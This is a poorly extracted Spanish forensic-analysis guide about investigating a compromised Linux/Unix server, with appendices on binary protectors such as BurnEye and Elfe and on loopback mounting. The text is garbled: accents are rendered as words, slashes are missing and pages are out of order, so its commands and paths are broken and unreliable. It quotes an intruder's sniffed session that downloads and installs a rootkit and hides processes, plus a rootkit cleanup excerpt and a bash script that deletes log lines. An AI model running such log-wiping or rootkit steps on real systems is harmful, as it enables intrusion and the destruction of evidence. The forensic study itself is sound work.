Nivel 3 Esta capa de proteccioacuten tiene un modo de funcionamiento diferente a los niveles anteriores Este nivel asegura que el binario no pueda ser ejecutado en otro sistema que no sea el de maacutequina doacutende ha sido encontrado (utilizado) El binario incluye internamente un sello del equipo permitido Y cada vez que se ejecuta el motor de cifrado interno busca el sello de la maacutequina y si no coincide con el fingerprint almacenado dentro del algoritmo no permite la ejecucioacuten de la aplicacioacuten El sello es uacutenico en cada maacutequina que se calcula a traveacutes de un algoritmo propio desarrollado por TESO utiliza valores sysinstall procpci proccpu procmem procroute procpartitions (proc en general) para generar un uacutenico sello (fingerprint) Los binarios protegidos con eacuteste nivel de BurnEye heredan las mismas pruebas que los niveles anteriores output strings breakpoint trap etc

Si estamos estudiando el binario doy por sentado que nos encontramos en una estacioacuten de anaacutelisis y no en el equipo comprometido por lo tanto si intentamos ejecutar la aplicacioacuten protegida con este nivel de BurnEye en un entorno seguro (no sUID no sGID y como usuario con privilegios limitados) obtendremos el siguiente output

[chrootedbetaactivalinkcom chrooted] output invalid fingerprint Es casi imposible de obtener el binario original si no nos encontramos en la maacutequina con un sello reconocido por el ejecutable ya que el fichero original estaacute cifrado y se descifra con el stream cipher RC4

47

bull Elfe [8] - Este tipo de proteccioacuten se utiliza por los intrusos con nivel de conocimientos medio medio-alto queconocen la estructura de binarios ELF Elfe ofrece 1 nivel de proteccioacuten de binarios ELF a traveacutes de RC4 Atraveacutes de esta herramienta se puede especificar cual de las secciones del binario (text data rodata) se quiereproteger Esa aplicacioacuten funciona soacutelo bajo la arquitectura x86 y uacutenicamente puede proteger binarios producidospor el compilador gcc y stripeados tiene soporte para binarios linkados de forma estaacutetica asiacute como dinaacutemica

Comparando esa herramienta con las anteriores podemos decir que ofrece menor nivel de proteccioacuten que BurnEye y mayor que UPX Se puede detectar faacutecilmente que el binario estaacute cifrado con Elfe ya que el output de la utilidad strings informa en las uacuteltimas liacuteneas un texto similar

password Done Returning to program QZ^amp Tambieacuten podemos encontrar en el output cadenas de texto de las secciones que no han sido cifradas ya que Elfe se limita a cifrar soacutelo text data rodata maacuteximo y si no se especifica soacutelo la seccioacuten text Las herramientas strace objdump de la coleccioacuten de herramientas binutils nos podraacuten ser de utilidad Si se ejecuta la aplicacioacuten sin saber la contrasentildea correcta la aplicacioacuten puede colgarse o producir SIGSEGV Segmentation Fault

Aunque el meacutetodo de proteccioacuten no implementa deteccioacuten de debuggers el nivel de dificultad de descifrado de binarios protegidos con Elfe es similar al 2ordm y 3ordm nivel de BurnEye (Para maacutes informacioacuten ver [9])

Hemos podido observar que las utilidades como BurnEye y Elfe tienen una mayor capacidad de ocultacioacuten delpropoacutesito del binario Si el intruso ha utilizado estas herramientas de forma correcta y precabida seriacutea casi imposiblede saber el objetivo del fichero El decifrado es posible pero complejo que necesita conocimientos avanzados deingenieriacutea inversa y anaacutelisis criptograacutefico

12 Apeacutendice B - Sistema de Ficheros Loopback de LinuxEl kernel de Linux tiene soporte vara muacuteltiples sistemas de fichero (ver man mount) tales como adfs affs autofscoda coherent devpts efs ext ext2 hfs hpfs iso9660 minix msdos ncpfs nfs ntfs proc qnx4 romfs smbfs sysvudf ufs umsdos vfat xenix xiafs

Los sistemas de ficheros coherent sysv y xenix son ideacutenticos y en el futuro no se mencionaraacuten los tres sino se limitaraacutea utilizar el nombre sysv

El soporte de una variedad de sistemas de ficheros por el kernel de GNULinux nos ofrece una buena plataformade anaacutelisis ya que no tendremos que cambiar ni de maacutequina ni de sistema operativo para estudiar un sistemacomprometido que no sea GNULinux

Linux tambieacuten tiene soporte para dispositivos loopback que permiten montar un sistema de ficheros dentro delfichero Este meacutetodo se utiliza dentro de los discos arrancables CD-ROMs auto-ejecutables sistemas de ficherocifrados para laptops etc Para maacutes informacioacuten podemos leer siguiente documentacioacuten de losetup(8) mount(8) [30]

Los dispositivos loop en las versiones anteriores de GNULinux eran 8 por defecto y se utilizaban de forma indirectapor el comando mount mientras que actualmente son 16 Estos dispositivos se encuentran en el directorio dev juntocon el resto de dispositivos

48

[staticlowershaftactivalink dev]$ ls -l devloopbrw-rw---- 1 root root 7 0 Apr 11 1625 devloop0brw-rw---- 1 root root 7 1 Apr 11 1625 devloop1brw-rw---- 1 root root 7 10 Apr 11 1625 devloop10brw-rw---- 1 root root 7 11 Apr 11 1625 devloop11brw-rw---- 1 root root 7 12 Apr 11 1625 devloop12brw-rw---- 1 root root 7 13 Apr 11 1625 devloop13brw-rw---- 1 root root 7 14 Apr 11 1625 devloop14brw-rw---- 1 root root 7 15 Apr 11 1625 devloop15brw-rw---- 1 root root 7 2 Apr 11 1625 devloop2brw-rw---- 1 root root 7 3 Apr 11 1625 devloop3brw-rw---- 1 root root 7 4 Apr 11 1625 devloop4brw-rw---- 1 root root 7 5 Apr 11 1625 devloop5brw-rw---- 1 root root 7 6 Apr 11 1625 devloop6brw-rw---- 1 root root 7 7 Apr 11 1625 devloop7brw-rw---- 1 root root 7 8 Apr 11 1625 devloop8brw-rw---- 1 root root 7 9 Apr 11 1625 devloop9

Combinar dos utilidades como dd y mount es maacutes faacutecil de lo que puede pensar Puede hacer una prueba copiandoimaacutegenes de cada particioacuten con dd del sistema de ficheros de la viacutectima los copia a su sistema y les monta utilizandodispositivos loopback Para nuestro ejemplo las particiones fueron obtenidos de un disco duro interno de una SunSPARC ejecutando Solaris 25

ls -l c0t3d0-rw-r--r-- 1 root root 189399040 Sep 14 1244 c0t3d0s0dd-rw-r--r-- 1 root root 171991040 Sep 14 1315 c0t3d0s1dd-rw-r--r-- 1 root root 220733440 Sep 14 1257 c0t3d0s3dd-rw-r--r-- 1 root root 269475840 Sep 14 1251 c0t3d0s6dd-rw-r--r-- 1 root root 515973120 Sep 14 1348 c0t3d0s7dd

Puede montar la imagen en modo solo lectura especificando que es un sistema de ficheros UFS de tipo sun y quedeseamos utilizar un dispositivo loopback de siguiente manera

mount -o roloopufstype=sun -t ufs c0t3d0s0dd t

Desde aquiacute podemos determinar donde apuntaban el resto de las particiones buscando el dispositivo en el sistema deviacutectima etcvfstab (montado en este ejemplo bajo t)

grep c0t3d0 tetcvfstab

49

devdskc0t3d0s1 - - swap - no -devdskc0t3d0s0 devrdskc0t3d0s0 ufs 1 no -devdskc0t3d0s6 devrdskc0t3d0s6 usr ufs 1 no -devdskc0t3d0s3 devrdskc0t3d0s3 var ufs 1 no -devdskc0t3d0s7 devrdskc0t3d0s7 exporthome ufs 2 yes -

Ahora podemos montar otras particiones de siguiente manera

mount -o roloopufstype=sun -t ufs c0t3d0s3dd tvar mount -o roloopufstype=sun -t ufs c0t3d0s6dd tusr mount -o roloopufstype=sun -t ufs c0t3d0s7dd texporthome

Ahora el contenido del sistema de ficheros es visible a las herramientas forenses de TCT como por ejemplo grave-robber

dfFilesystem 1k-blocks Used Available Use Mounted on

xc0t3d0s0dd 173791 68725 87696 44 txc0t3d0s3dd 202423 26148 156035 14 tusrxc0t3d0s6dd 246743 197592 24481 89 tvarxc0t3d0s7dd 473031 111506 314225 26 texporthome

mount

xc0t3d0s0dd on t type ufs (roloop=devloop0ufstype=sun)xc0t3d0s3dd on tusr type ufs (roloop=devloop1ufstype=sun)xc0t3d0s6dd on tvar type ufs (roloop=devloop2ufstype=sun)xc0t3d0s7dd on texporthome type ufs (roloop=devloop3ufstype=sun)

121 Conclusiones

Con el transcurso de tiempo las empresas que manejan la informacioacuten privilegiada han aprendido que para asegurarla integridad privacidad de informacioacuten no se debe ahorrar en sistemas de seguridad planes de contingencia Losadministradores sin previa experiencia de anaacutelisis forense no deben precipitarse a la hora de reestablecer el servidorparcheandolo rapidamente para que esteacute operativo lo antes posible ya que soacutelo un anaacutelisis forense exhaustivo puededeterminar el alcanze del incidente y responder a todas las preguntas que surgen tras sufrir un ataque

50

13 Referencias

1Anaacutelisis Sistemas Forenses - Este documento se basa en el trabajo de David Dittrich de la Universidad deWashington

2RootKit - Un rootkit es un conjunto de herramientas que garantizan el acceso posterior al sistema facilitan elpotencial acceso a otros servidores facilitan el borrado de huellas del atacador intentan esconder al atacante delos usuarios legiacutetimos del sistema

3Ataque de Limpieza - Es un tipo de ataque informaacutetico local o remoto cuyo objetivo es la eliminacioacuten de laspruebas de compromiso anterior El resultado de este tipo de ataques puede ser un destrozo de informacioacuten enun equipo anteriormente comprometido o de un forense informaacutetico El atacante intenta llevar acabo un borradode informacioacuten masivo utilizando las teacutecnicas de eliminacioacuten de informacioacuten por sobre escritura si se trata de unataque remoto yo deformacioacuten magneacutetica y des-magnetizacioacuten de medios si se trata de un ataque local

4UPX - Ultimate Packer for eXecutables (httpupxsourceforgenet) Una herramienta para comprimir elejecutable a fin de reducir su tamantildeo

5BurnEye - Una herramienta desarrollada por el grupo TESO (httpwwwteam-tesonet) que utiliza las teacutecnicasde inyeccioacuten de coacutedigo en ejecutables de tipo ELF La aplicacioacuten ofrece 3 niveles de proteccioacuten ofuscacioacuten decoacutedigo proteccioacuten con contrasentildea y fingerprinting

6BurnEye Nivel 1 - Para maacutes informacioacuten sobre el meacutetodo de obtener el binario original de uno ofuscado veanhttpwwwactivalinkcomreviewselfphp y httpwwwphrackcomshowphpp=58

7Burneye Nivel 2 - Para maacutes informacioacuten sobre meacutetodos de ingenieriacutea inversa de binarios protegidos con el nivel2 de proteccioacuten de BurnEye ver un caso praacutectico httpwwwincidentsorgpapersssh_exploitpdf

8Fenris - Un debugger popular y potente ya que interactuacutea con el sistema operativo y libc a un bajo nivel sinutilizar las llamadas ptrace() ver httprazorbindviewcomtoolsfenris

9Elfe - Lightweight Elf Encryptor (httpstealth7350org) Una herramienta desarrollada por Stealth del grupoTESO que utiliza teacutecnicas de inyeccioacuten de un motor de cifrado dentro de un ejecutable La aplicacioacuten protege laejecucioacuten de un binario por una contrasentildea Eacuteste meacutetodo de proteccioacuten de ejecutables es menos fiable que 2ordm y3er nivel de BurnEye

10Phrack - Gnugq ha escrito un buen white paper sobre el tema de proteccioacuten run-time de binarios que incluyemaacutes informacioacuten sobre el tema wwwphrackcomshowphpp=58ampa=5

51

11RootKit - Una coleccioacuten de utilidades para permitir al intruso ocultar su actividad dentro de un siste-ma facilitar el acceso en un futuro y recoger informacioacuten uacutetil del sistema Ver la versioacuten actua-lizada de FAQ en Ingleacutes sobre RootKits creada por Dave Dittrich de la universidad de Washington DChttpstaffwashingtonedudittrichmiscfaqsrootkitsfaq

12Biatchux - Es una distribucioacuten de linux portable sobre el CD-ROM que proporciona herramientas y un entornoseguro para realizar anaacutelisis forense recuperacioacuten de datos deteccioacuten de virus y evaluacioacuten de vulnerabilidades(httpbiatchuxdmzscom)

13Thomas Rude - El autor de un artiacuteculo sobre la manera de realizacioacuten de copias fiacutesicas de particiones y discospara el anaacutelisis forense (httpwwwcrazytraincomddhtml)

14The Coronerrsquos Toolkit- Una coleccioacuten de herramientas de un investigador forense Utilidades escritas por Dany Wietse (trabaja para IBM y el autor de postfix) Las utilidades incluidas en el kit proporcionan una ayudasubstancial para el investigador (httpwwwfishcomtct)

15Trinoo - Anaacutelisis de un ataque con una herramienta de DDoS (The DoS Projectrsquos trinoo distributed denial ofservice attack tool - httpstaffwashingtonedudittrichmisctrinooanalysis)

16Mstream - Anaacutelisis de un ataque con una herramienta de DDoS (The mstream distributed denial of serviceattack tool - httpstaffwashingtonedudittrichmiscmstreamanalysistxt)

17Van Hauser - Lea el documento de Van Hauser sobre Anonymizing Unix Systems para la informacioacuten decomo pueden los hackers con experiencia complicar la situacioacuten (httpwwwthehackerschoicecompapersfw-backdhtm)

18Techniques of Crime Scene Investigation por Barry A J Fisher CRC Press ISBN 0-8493-8119-3

19Mejora de Rendimiento de Sistemas de Copia de Seguridad - Whitepaper de Hewlett-Packard(httpwwwhpcomtapepapersperftunehtml)

20Clase de Farmer amp Wietse Venema sobre anaacutelisis forense de sistemas informaacuteticos - forensicstargz contiene 6diapositivas PostScript (httpwwwfishcomsecurityforensicshtml)

21Forensic Computer Analysis Introduccioacuten a la Reconstruccioacuten de eventos pasados por Dan Farmer y WietseVenema Dr Dobbrsquos Journal Septiembre 2000 (httpwwwddjcomarticles200000090009f0009fhtm)

22iquestQueacute son los MACtimes Herramientas poderosas para bases de datos por Dan Farmer Dr Dobbrsquos JournalOctubre 2000 (httpwwwddjcomarticles200000100010f0010fhtm)

23Strangers In the Night Encontrar el objetivo del binario desconocido por Wietse Venema Dr Dobbrsquos JournalNoviembre 2000 (httpwwwddjcomarticles200000110011g0011ghtm)

52

24Root Kits y ocultacioacuten de directorios despueacutes del break-in (httpstaffwashingtonedudittrichmiscfaqsrootkitsfaq)

25Infosecradio segmentos de anaacutelisis forense (15450) Julio 10 2000 (httpwwwsecurityfocuscommedia41)

26SecurityFocus - Entrevista con Jennifer Grannic (httpwwwsecurityfocuscommedia41)

27SecurityFocus - entrevista con Chad Davis (httpwwwsecurityfocuscommedia35)

28Anonymizing Unix Systems por van Hauser THC (httpthcpimmelcomfilesthcanonymous-unixhtml)

29Federal Guidelines for Searching and Seizing Computers Departamento de Justicia de EE UU(httpwwwusdojgovcriminalcybercrimesearchinghtml)

30DD and Computer Forensics Ejemplos de utilizacioacuten de DD dentro de Unix para crear backups fiacutesicos porThomas Rude CISSP Agosto 2000 (httpwwwcrazytraincomddhtml)

31El kernel de GNULinux ofrece soporte para sistemas de ficheros loopback siendo una teacutecnica bastante comuacutenVer para maacutes informacioacuten Laptop-HOWTO (httpwwwtldporgHOWTOLaptop-HOWTOhtml) Bootdisk-HOWTO (httpwwwtldporgHOWTOBootdisk-HOWTO) Loopback-Encrypted-Filesystem-HOWTO(httpwwwtldporgHOWTOLoopback-Encrypted-Filesystem-HOWTOhtml)

32La uacuteltima versioacuten de eacuteste documento estaacute disponible en httpwwwactivalinkcomforensics3php

14 AgradecimientosSe agradece la colaboracioacuten directa asiacute como indirecta de

bull Dan Farmer por su respuesta a las preguntas pesadas

bull Wietse Venema por su contribucioacuten a la tecnologiacutea de anaacutelisis forense de sistemas Unix

bull David Dittrich el autor original del estudio

bull Scut del Equipo TESO

bull The Gnugq uno de los editores de la revista Phrack

53

Page 38: Análisis Forense de Sistemas GNU/Linux, Unix

13508 a -rwxr-xr-x root root xvartmpXXXXXprogramsloginbak

Sep 15 01 022423 13508 mc -rwxr-xr-x root root xvartmpXXXXXprogramsloginbak

1375 mac -rwxr-xr-x root root xvartmpXXXXXprogramsreadme

Sep 15 01 022439 26314 mc -rwxr-xr-x root root xvartmpXXXXXprogramsbindshell

27942 mc -rwxr-xr-x root root xvartmpXXXXXprogramslinsniffer

Sep 15 01 022441 26314 a -rwxr-xr-x root root xvartmpXXXXXprogramsbindshell

27942 a -rwxr-xr-x root root xvartmpXXXXXprogramslinsniffer

Sep 15 01 022443 1126 mc -rwxr-xr-x root root xvartmpXXXXXprogramsclean

XX mac -rwxr-xr-x root root xvartmpXXXXXprogramsimapdis

Sep 15 01 022459 4665 a -rwxr-xr-x root bin xusrbinbasenameSep 15 01 022503 0 mac -rw-r--r-- root root xvarlogcronSep 15 01 022504 0 ma crw-rw-rw- root root xdevttyp3Sep 15 01 022506 0 a -rw-r--r-- root root xvarlogdebugSep 15 01 022508 0 a -rw-r--r-- root root xvarloglastlogSep 15 01 022512 2699 a -rw-r--r-- root root xvarlogsyslogSep 15 01 022515 131968 a -rwxr-xr-x root bin xusrbingawk

5941 a -rwxr-xr-x root bin xusrbinwc0 a -rw-r--r-- root root xvarlogxferlog

1024 mc drwxr-xr-x root root xvartmpXXXXX1126 a -rwxr-xr-x root root xvartmpXXXXXprogramsclean

Sep 15 01 022554 2802 mc -rwxr-xr-x root root xetcrcdrcinet2Sep 15 01 022613 12288 mc -rw-rw-r-- root root xetcpsdevtabSep 15 XX 022626 7416 a -rwxr-xr-x root bin xbinmkdirSep 15 01 022633 15 mc -rw-r--r-- root root xdevXXXXXXXXLSSep 15 01 022640 1024 mc drwxr-xr-x root root xdevXXXXXXXX

25 mc -rw-r--r-- root root xdevXXXXXXXXPSSep 15 01 022837 0 a crw-rw-rw- root root xdevptyp2Sep 15 01 022838 0 mc crw-rw-rw- root root xdevptyp2

0 mac crw-rw-rw- root root xdevttyp2Sep 15 01 022958 0 mc -rw-r--r-- root root xvarloglastlogSep 15 01 023006 0 mc -rw-r--r-- root root xvarlogxferlogSep 15 01 023103 66973 a -rwxr-xr-x root bin xbintelnetSep 15 01 023501 1024 mc drwxr-xr-x root root xvarlog

0 mac -rw-r--r-- root root xvarlogsulogSep 15 01 023516 0 mc -rw-r--r-- root root xvarlogdebug

38

Sep 15 01 023551 0 ma crw-rw-rw- root root xdevptyp3Sep 15 01 023552 0 c crw-rw-rw- root root xdevptyp3

0 c crw-rw-rw- root root xdevttyp3Sep 15 01 032157 1649 m -rw-r--r-- root root xetcpasswdOLDSep 15 01 032224 7317 a -rwxr-xr-x root bin xbinkillallSep 15 01 032240 58605 a -rwxr-xr-x root bin xbinps

25 a -rw-r--r-- root root xdevXXXXXXXXPS

La siguiente actividad aparece en la liacutenea 471 en tcplog (el fichero log del sniffer entre 14 Sep 0346 de la liacutenea 348y 17 Sep 2013 desde la fecha de uacuteltima modificacioacuten del fichero)

IIIIIIIIIIXXXXXXXXXXXX =gt XXXXXXXwashingtonedu [143]

----- [Timed Out]

IIIIIIIIIIXXXXXXXXXXXX =gt XXXXXXXwashingtonedu [513]rootXXXXlinux38400----- [FIN]

IIIIIIIIIIXXXXXXXXXXXX =gt XXXXXXXwashingtonedu [513]rootXXXX-linux38400----- [FIN]

IIIIIIIIIIXXXXXXXXXXXX =gt XXXXXXXwashingtonedu [513]rootr00tlinux38400t----- [FIN]

IIIIIIIIIIXXXXXXXXXXXX =gt XXXXXXXwashingtonedu [23]rsquoP$ 3840038400linuxXXXXX

XXX

39

r00tfingercd vartmpls -alrm -rf bashftp XXXXXXXXXXXXanonymousassget XXXXtgzquituittar zxvf XXXXtgzchmod +x INSTALLls -al

----- [Timed Out]

IIIIIIIIIIXXXXXXXXXXXX =gt GGGGGGGXXXXXXXXXXXXX [23]rsquoP$ 3840038400linuxr00t

pico etcrcdircinetd2rpcmomomomountd[A11mountd[A2pmountd[A[A[C[C[C[C[C[C[C[C[C[C[C[C[C[C[C[B[C[C [B[D[D[B[D[B[D ypico etcinetdconf[6~[6~killall -HUP inetdcat etcinetdconfps auxkill -9 cd devmkdir XXXXXXXXcd XXXXXXXXpico LSXXXXXXXXXXXXXypico PS3 bindshell3 linsnifferyps auxkill -9 2541f

40

----- [Timed Out]

Eso muestra que el intruso estaba editando el fichero de configuracioacuten del rootkit referente al modus operandi de lautilidad ls (llamado LS) para esconder ficherosdirectorios con cadenas XXXXXX yo JJJJJJJJ en sus nombresTambieacuten ha modificado el fichero de configuracioacuten del rootkit para la utilidad ps (llamado PS) para esconder procesosbindshell y linsniffer en sus nombres

La letra y que aparece en las cadenas XXXXXXy y linsniffery son huellas del usuario que nos informan que hasido utilizado el editor pico El comando para guardar las modificaciones en los ficheros y salir en pico es Ctrl-X Siel fichero ha sido modificado de alguna forma el siguiente texto aparece

Save modified buffer (ANSWERING No WILL DESTROY CHANGES)

El usuario entonces debe teclear la letra y para guardar el fichero y salir El sniffer no captura el mensaje delsistema pero siacute el y Las entradas log del sniffer aquiacute muestran que se creoacute el directorio XXXXXXXX doacutende fueroninsertados los ficheros de configuracioacuten del rootkit y editados en siguiente orden Podemos observarlo en el listado demactime posiblemente atando este evento al diacutea 15 del XXX a las 0226

Sep 15 01 022626 7416 a -rwxr-xr-x root bin xbinmkdirSep 15 01 022633 15 mc -rw-r--r-- root root xdevXXXXXXXXLSSep 15 01 022640 1024 mc drwxr-xr-x root root xdevXXXXXXXX

25 mc -rw-r--r-- root root xdevXXXXXXXXPS

El diacutea 16 del Sep alguien crea una copia de seguridad del log del sniffer (snifferlogsave) movieacutendolo al directoriovartmpXXXXprograms Este fichero muestra los intentos de entrada de otros intrusos que tambieacuten acceden alfichero tcplog

Sep 16 01 215534 36088 a -rwxr-xr-x root bin xbinnetstatSep 16 01 215827 1024 mc drwxrwxrwx root root xvartmpSep 16 01 215852 6 a -rw-r--r-- root root xroottemptxtSep 16 01 225033 1024 a drwxr-xr-x root root xvartmpXXXXXSep 16 01 225102 6644 a -rw-r--r-- root root xvartmpXXXXXprogramssnifferlog

Sep 16 01 225716 1024 a drwxr-xr-x root root xvartmpXXXXXprograms

Sep 16 01 233951 1024 mc drwxr-xr-x root root xvartmpXXXXXprograms

4992 mac -rw-r--r-- root root xvartmpXXXXXprogramssnifferlogsave

41

El fichero roottemptxt contiene la uacutenica palabra blah en la liacutenea y una liacutenea en blanco Actualmente no se conocepara que sirvioacute el fichero El diacutea 17 del XXX se modifica la contrasentildea de alguacuten usuario se crea un fichero de copiade seguridad

Sep 17 01 124450 153384 a -rws--x--x root bin xusrbinpasswdSep 17 01 124505 1649 mc -rw-r--r-- root root xetcpasswd

1649 c -rw-r--r-- root root xetcpasswdOLD

A continuacioacuten el diacutea 17 del Sep alguien accede al servidor a traveacutes de telnet Por lo visto se obtiene el UIDdel usuario lp Modificaciones en devconsole indican que ocurrioacute tambieacuten una entrada de usuario en la consolafiacutesica Fechas de modificacioacuten han sido cambiadas en la aplicacioacuten de los logs del sniffer etc__tcplog y tambieacutenvartmpXXXXXprogramssnifferlog que significa que las aplicaciones han sido desactivadas

Sep 17 01 201344 296 a -rw-r--r-- root root xetchostsdeny40907 a -rwxr-xr-x root bin xusrsbintcpd

Sep 17 01 201345 40685 a -rwxr-xr-x root bin xusrsbinintelnetd25 mc -rw-rw-r-- root root xvarspoollp1status

Sep 17 01 201346 0 m crw-rw-rw- root root xdevconsole0 a crw-rw-rw- root root xdevptyp00 m crw-rw-rw- root root xdevttyp0

18476 mc -rw-r--r-- root root xetc___tcplog6644 mc -rw-r--r-- root root xvartmpXXXXXprogramssnifferlog

Sep 17 01 201350 0 c crw-rw-rw- root root xdevconsole0 c crw-rw-rw- root root xdevptyp00 c crw-rw-rw- root root xdevttyp0

El diacutea 18 de Sep se ejecuta la aplicacioacuten sendmail Las huellas en el sistema de ficheros nos muestran queposiblemente se envioacute a una direccioacuten de correo electroacutenico el fichero log del sniffer tcplog

Sep 18 01 053026 164060 a -r-sr-Sr-x root bin xusrsbinsendmail

Aparte de analizar el sistema de ficheros con detenimiento se han recuperado todos los ficheros eliminados utilizandola utilidad unrm de TCT Una examen de los ficheros recuperados mostroacute eliminacioacuten de algunos ficheros log yscripts El siguiente es una parte del script de instalacioacutenlimpieza que estaacute incluido con el rootkit

cp vartmpimap-d vartmpXXXXXprogramsimapdisrm -rf vartmpimap-decho 6 cleaning logs

42

cd vartmpXXXXXcp vartmpclean vartmpXXXXXprogramscleanrm -rf vartmpcleanvartmpXXXXXprogramsclean XXXXXXX 1gtdevnull 2gtdevnullvartmpXXXXXprogramsclean XXXXXX 1gtdevnull 2devnullvartmpXXXXXprogramsclean XXXX 1gtdevnull 2gtdevnullecho rootkit completeecho rember to disable imapdecho EOF

El siguiente es una parte del fichero log que muestra intentos de conexioacuten de intrusos

Sep 11 152611 XXXX infingerd[864] connect from XXX-XXX-14XXXXXXXXXXXXSep 11 152611 XXXX intelnetd[865] connect from XXX-XXX-14XXXXXXXXXXXXSep 11 152611 XXXX telnetd[865] ttloop peer died Try againSep 11 152612 XXXX inpop3d[866] connect from XXX-XXX-14XXXXXXXXXXXXSep 11 152613 XXXX intelnetd[867] connect from XXX-XXX-14XXXXXXXXXXXX

Sep 12 053620 XXXX intelnetd[1126] connect from DDDDDDXXXXXXXXX

Sep 12 110152 XXXX intelnetd[1213] connect from EEEEEEEXXXXXXSep 12 110221 XXXX su XXXXX on devttyp1

Sep 12 110428 XXXX inrlogind[1229] connect from CCCCCCCCXXXXXXXXXXXSep 12 110444 XXXX inrlogind[1230] connect from CCCCCCCCXXXXXXXXXXX

Sep 12 110857 XXXX su XXXXX on devttyp1Sep 12 111119 XXXX su XXXXX on devttyp1

Sep 12 113305 XXXX intelnetd[1290] connect from AAAAAAXXXXXXXXXSep 12 113316 XXXX login 1 LOGIN FAILURE FROM AAAAAAXXXXXXXXX XXXSep 12 113321 XXXX login 2 LOGIN FAILURES FROM AAAAAAXXXXXXXXX XXX

Sep 12 113402 XXXX su XXXXX on devttyp1Sep 12 114152 XXXX wuftpd[1327] connect from BBBBBBBXXXXXXXXXSep 12 114157 XXXX ftpd[1327] USER XXXXXSep 12 114159 XXXX ftpd[1327] PASS passwordSep 12 114200 XXXX ftpd[1327] SYSTSep 12 114201 XXXX ftpd[1327] CWD tmpSep 12 114206 XXXX ftpd[1327] TYPE ImageSep 12 114206 XXXX ftpd[1327] PORTSep 12 114206 XXXX ftpd[1327] STOR mountdSep 12 114208 XXXX ftpd[1327] QUITSep 12 114208 XXXX ftpd[1327] FTP session closedSep 12 120025 XXXX intelnetd[1342] connect from AAAAAAXXXXXXXXX

43

Sep 12 120025 XXXX telnetd[1342] ttloop peer died Try again

Sep 12 125437 XXXX inrlogind[1358] connect from CCCCCCCCXXXXXXXXXXX

Sep 12 195330 XXXX intelnetd[1459] connect from XXXX-XX-118XXXXXXXXXXXX

Sep 12 234732 XXXX intelnetd[1525] connect from XXXXXXXXXXXXXXXXXXXXXXXSep 12 234741 XXXX login 1 LOGIN FAILURE FROM XXXXXXXXXXXXXXXXXXXXXXX XXXXXSep 12 234855 XXXX su XXXXX on devconsoleSep 13 001238 XXXX intelnetd[1569] connect from HHHHHHXXXXXXXXXXXXXXXXXXSep 13 001254 XXXX su XXXXX on devconsole

Sep 13 064612 XXXX intelnetd[1673] connect from XXXXXXXXXXSep 13 070801 XXXX intelnetd[1679] connect from GGGGGGGXXXXXXXXXXXXXXXXXSep 13 070814 XXXX su XXXXX on devconsole

Sep 13 083005 XXXX intelnetd[1728] connect from FFFFFFFXXXXXXXXXXXXXXXXXSep 13 083022 XXXX intelnetd[1731] connect from HHHHHHXXXXXXXXXXXXXXXXXXSep 13 083234 XXXX intelnetd[1733] connect from FFFFFFFXXXXXXXXXXXXXXXXX

Sep 13 095842 XXXX su XXXXX on devconsole

El siguiente ejemplo es un extracto de script zapper que elimina las huellas dejadas por el intruso o restablece eltamantildeo de los ficheros log a 0 bytes No se sabe si existe una copia de este script en el sistema de ficheros activo

1 binbash

WHAT=$(binls -F varlog | grep -v | grep -v | grep -v tgz | grep -v gz | grep -v tar | grep -v )

for file in $WHATline=$(wc -l varlog$file | awk -F rsquo rsquo rsquoprint $1rsquo)echo -n Cleaning $file ($line lines)grep -v $1 varlog$file gt newmv -f new varlog$filenewline=$(wc -l varlog$file | awk -F rsquo rsquo rsquoprint $1rsquo)let linedel=$(($line-$newline))echo $linedel lines removed

doneecho

44

Los siguientes cadenas de texto pertenecen al fichero wtmp (leiacutedo por la utilidad last) Las horas no son obvias aquiacutepero los nombres de hosts siacute lo son

ftp4264ttyp13XXXXXXXXXXXXXXXXXttyp1Pftp46263XXXXXXXXXXXXXXXXXttyp13XXXXXXXXXXXXXXXXXftp4626ttyp1Pftp46393XXXXXXXXXXXXXXXXXXPftp4639Pftp46533XXXXXXXXXXXXXXXXXXftp4653Pftp47433XXXXXXXXXXXXXXXXXXXXX

11 Apeacutendice A - Meacutetodos de Proteccioacuten de Binarios

111 Introduccioacuten

Los sistemas operativos UnixLinux BSD se consideran por los especialistas como avanzados seguros y establesdebido a su disentildeo de arquitectura y gestioacuten de procesos

Las distribuciones actuales tienen soporte para varios tipos de ejecutables como AOUT (formato original de Unix)COFF (Unix System V) ECOFF (MipsAlfpha) XCOFF (IBM RS6000 AIX) y finalmente ELF (el sucesor de COFFque ofrece muacuteltiples secciones y valores posibles de 32 o 64 bits) Mientras que los sistemas operativos win32 tienenMZ (dos) NE (Windows 3xx) y PE (Win9xNT)

La popularidad y el enfoque comercial de sistemas win32 obligoacute a las empresas desarrolladoras de software invertirfondos y horas en proteccioacuten de sus aplicaciones para evitar obligar a los usuarios comprar el software Desde el

45

principio los especialistas en ingenieriacutea inversa conseguiacutean por placer o por negocio evitar los meacutetodos de proteccioacutende los ejecutables que bajo win32 ya entonces teniacutean muacuteltiples teacutecnicas de proteccioacuten En actualidad un ficheroejecutable bajo Windows (PE) puede estar perfectamente cifrado empaquetado ofuscado y wrappeado al visa versa ala hora de ejecucioacuten lo que muestra la evolucioacuten de un binario simple haciacutea un ejecutable propiamente protegido loque proporciona la seguridad a la empresa desarrolladora que su software no podraacute ser utilizado de forma ilegal porlo menos por el puacuteblico general

Y lo uacutenico (que generalmente se conoce) que podemos hacer actualmente con un binario ELF es quitarle la tabla desiacutembolos o en otras palabras strippearlo que que no ofrece ninguacuten tipo de proteccioacuten

Existen pocas herramientas de proteccioacuten son experimentales y se conocenutilizan solo por los hackers de nivel altomedio-alto A la hora de realizar un anaacutelisis forense nos encontraremos con binarios que el intruso ha ido dejandoen el sistema y necesitariacuteamos saber las funciones de cada uno de ellos teniendo en cuenta que ejecucioacuten de binariosdesconocidos puede provocar un desastre si no estamos seguros de la funcioacuten de los mismos

112 Meacutetodos de Proteccioacuten

En las investigaciones rutinarias de casos de defacements de paacuteginas web o de utilizacioacuten de la maacutequina compro-metida como cluster DDoS no es frecuente encontrar binarios protegidos ya que la mayoriacutea de herramientas estaacutencirculando por la red de forma abierta Mientras que en los compromisos de sistemas importantes como de Ban-cos Liacuteneas Aeacutereas o Universidades el nivel de intruso es tecnoloacutegicamente y intelectualmente superior por lo tantotambieacuten lo son sus herramientas Hasta que no sepamos el propoacutesito de cada uno de las herramientas del intruso nopodremos concluir la investigacioacuten con eacutexito

Podemos encontrar siguientes meacutetodos de proteccioacuten de binarios en este caso seguacuten el nivel del atacante y tipo deherramienta utilizada Puede que se utilicen de forma individual o de forma combinada para complicar el trabajo delinvestigador

